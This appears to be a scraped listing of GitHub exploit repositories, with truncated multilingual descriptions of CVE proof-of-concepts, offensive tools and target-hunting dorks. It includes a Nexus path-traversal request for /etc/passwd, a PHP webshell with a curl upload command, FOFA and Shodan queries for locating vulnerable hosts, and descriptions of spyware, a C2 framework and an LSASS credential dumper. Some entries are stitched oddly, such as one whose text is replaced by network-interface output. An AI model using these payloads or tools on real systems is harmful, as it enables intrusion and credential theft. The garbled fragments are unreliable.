CVE-2023-50164-HTB-strutted

CVE-2023-50164: 一个被标识为 CVE-2023-50164（CVSS 评分：9.8）的严重安全漏洞存在于 Apache Struts 中，攻击者可利用该漏洞操纵文件上传参数，从而可能导致未授权的路径遍历和远程代码执行（RCE）。 本工具仅供教育、CTF 或实验室环境使用 ，且仅可用于您拥有或获得授权测试的系统。 请勿在生产环境或未授权系统上使用此代码。 概述 此 PoC 演示了与 CVE-2023-50164 相关的文件上传行为： 原始来源：jakabakos/CVE-2023-50164-Apache-Struts-RCE 修改：为适配 HTB...

Grafana-CVE-2021-43798Exp

Grafana V8. 任意ファイル読み取りExp - マルチスレッド一括検証スクリプト 脆弱性の説明 Grafanaはオープンソースのメトリクス分析・可視化スイートです。インフラの時系列データやアプリケーション分析の可視化によく使われ、産業用センサー、ホームオートメーション、天気、プロセス制御など他の分野でも広く利用されています。その8.バージョンには任意ファイル読み取りの脆弱性があり、現在は0day脆弱性です。認証されていない攻撃者がこの脆弱性を悪用すると、サーバーの機密ファイルを取得することができます。 FOFA構文 app="Grafana" && country="CN" &&...

DocViewerExploitApp

DocViewerExploit App - CVE-2021-40724 これは、MobileHackingLab による Document Viewer を悪用するためのソースコードです。 脆弱なアプリについて これは、MobileHackingLab DocumentViewer Androidアプリの動的コードローディングRCEチャレンジ のエクスプロイトアプリです。 このチャレンジは、Adobe Acrobat Reader Androidアプリで特定された脆弱性 CVE-2021-40724 をエミュレートしています。...

asclepius

Asclepius Asclepiusはファイルを復元し、その復元可能性を能動的にテストすることでバックアップの整合性を検証します。メタデータを信頼する代わりに、実際のファイル形式（ドキュメント、画像、動画、アーカイブ、メール）を解析し、バックアップが実際に読み取り可能で安全に使用できることを確認します。 インストール git clone https://github.com/matank001/asclepius cd asclepius uv sync 追加の依存関係 FFmpeg 動画検証用 macOS brew install ffmpeg Ubuntu/Debian sudo...

CVE-2022-44268-MagiLeak

ImageMagick 任意ファイル読み取り - CVE-2022-44268 このリポジトリには、ImageMagickの任意ファイル読み取りの脆弱性（CVE-2022-44268）を悪用するための概念実証（PoC）コードが含まれています。このPoCは、攻撃者がこの脆弱性を利用してシステム上の任意のファイルを読み取る方法を示しています。 前提条件 コードを実行するには、以下の依存関係がインストールされていることを確認してください： Python 3.x Pillow（Python Imaging Library） 必要な依存関係は pip を使用してインストールできます： pip...

CVE-2025-24801

CVE-2025-24801 GLPI RCE の PoC このリポジトリには、GLPI 10.0.17 の LFI から RCE に至る脆弱性 CVE-2025-24801 を悪用する概念実証スクリプト poc.py が含まれています。自動化する内容は以下の通りです： GLPI へのログイン 文書タイプ設定の更新による .php アップロードの有効化 AJAX ファイルアップロードエンドポイントを介した PHP リバースシェルのアップロード 🛠️ インストール git clone https://github.com/fatkz/CVE-2025-24801.git cd...

CVE-2025-6220

Contact Form 7 用 Ultimate Addons 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0:...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ アップロードフォルダに配置されたシェルを利用します...

CVE-2024-29824

horizon3ai의 스크립트를 일부 최적화했습니다 사실 정확성을 보장하기 위해 검증 메커니즘을 추가한 것뿐입니다 원본 프로젝트 주소: https://github.com/horizon3ai/CVE-2024-29824 "-f / --file" 및 ThreadPool 추가...

CVE-2020-5844

CVE-2020-5844 PandoraFMS 7.0-NG 742 における認証済みRCE 管理者権限を持つ攻撃者は、悪意のあるPHPドキュメントをアップロードできます。base64でエンコードされたファイルの場所をデコードすることで、ユーザーはapacheユーザーとしてシェルを取得できます。 発見者: TheCyberGeek PoC Pythonスクリプト Usage: python3 CVE-2020-5844.py URL USER PASS PHPREVERSESHELL Ex: python3 CVE-2020-5844.py...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - チャンクアップロードのInit/Finalize順序に起因する未認証の任意ファイル書き込み CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — チャンクアップロードによる未認証の任意ファイル書き込み 概念実証（PoC）エクスプロイト チャンクアップロードのInit/Finalize順序 → 予測可能なパス公開 → リモートコード実行 脆弱性の概要 項目| 詳細 ---|--- CVE ID| CVE-2026-10818 影響を受けるプラグイン| WPForms Pro...

CVE-2023-4863

CVE-2023-4863 webpをチェックアウト git clone https://chromium.googlesource.com/webm/libwebp/ webptest cd webptest/ 脆弱性のあるバージョンをチェックアウト git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0 AddressSanitizerを有効化 sed -i 's/^EXTRAFLAGS=./& -fsanitize=address/' makefile.unix webpをビルド make -f makefile.unix cd...

PULSE-C2

PULSE C2 프레임워크 HTTPS 명령 및 제어 인프라로, 원격 Windows 에이전트 관리를 위한 웹 대시보드를 제공합니다. ⚠️ 교육용 전용 - 불법 사용은 본인의 책임입니다. 기능 TLS 암호화를 지원하는 HTTPS C2 서버 Flask 실시간 웹 대시보드 XOR + Base64 암호화 프로토콜 영구 저장을 위한 SQLite 데이터베이스 원격 셸, 파일 유출, 비콘 제어 디버그 출력이 없는 무음 에이전트 빠른 시작 서버: cd server pip install flask python c2server.py 대시보드 접속:...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 Dork: Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" Poc : GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081 Accept-Encoding: gzip,...

citrix_adc_netscaler_lfi

citrixadcnetscalerlfiscan !alt textcitrix このMetasploit-Frameworkモジュールは、企業が最新のCitrix脆弱性（2020年7月8日開示）を確認するために使用できます。 CVE-2020-8193 CVE-2020-8195 CVE-2020-8196 2020年7月8日にDonny Maasland氏による公開レポートで、脆弱性がどのように悪用されるかが議論されました。 2020年7月10日時点で、RIFTは、この脆弱性を使用して脆弱なインスタンスから有効なVPNセッションを抽出できることを確認しています。...

Vulnerable-Web-Application

Vulnerable Web Application 什么是 Vulnerable-Web-Application Vulnerable-Web-Application 是一个为对 Web 渗透感兴趣并希望了解相关主题或从事相关工作的人准备的网站。事实上，这个网站的安装和使用都非常简单。 Vulnerable-Web-Application 分类涵盖了命令执行、文件包含、文件上传、SQL 和 XSS。对于需要数据库的类别，它会在安装过程中通过一个按钮在 localhost 下创建一个数据库。如果数据库损坏或发生更改，你可以重新创建数据库。 安装指南 如果你想运行这个工具，首先需要下载类似...

spybrowse

BrowseSpy Be sure to change the ftp variables throughout the code, these variables contain the username, password, & IP address of the FTP server which receives the files. This code will do the following: 1. Copy itself into the %TMP% directory & name itself ursakta.exe 2. Add a registry entry to...

CVE-2024-7399-POC

CVE-2024-7399 CVE-2024-7399에 대한 익스플로잇입니다. 자세한 내용은 여기에서 확인할 수 있습니다: https://davidxbors.github.io/0xpages/posts/cve-2024-7399/. 사용법: python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/...

CVE-2026-21858-and-CVE-2025-68613

Ni8mare: n8n Pre-Auth RCE CVE-2026-21858 & CVE-2025-68613 — 脆弱性ラボ & PoC レポート Ni8mare 脆弱性チェーンの実践環境（Vulnerable Lab）と詳細なエクスプロイト分析レポートです。n8n プラットフォーム上で、Arbitrary File Read （CVE-2026-21858）から Remote Code Execution （CVE-2025-68613）まで、認証なしで攻撃可能です。 詳細な分析・エクスプロイトレポート 完全な分析資料と、各ステップを図解した PoC...

KslKatzBof

KslKatzBOF A Beacon Object File BOF で、KslD.sys BYOVD 技術を使用して C2 からインラインで LSASS 資格情報を抽出します。 このプロジェクトは以下のブログ記事に基づいています: https://avantguard.io/blog/erfahrungsbericht-ki-gest%C3%BCtzte-bof-entwicklung-im-red-team クレジット この BOF は KslKatz Maximilian Barz に基づいており、さらに以下の 2 つの基礎プロジェクトを基に構築されています: KslDump –...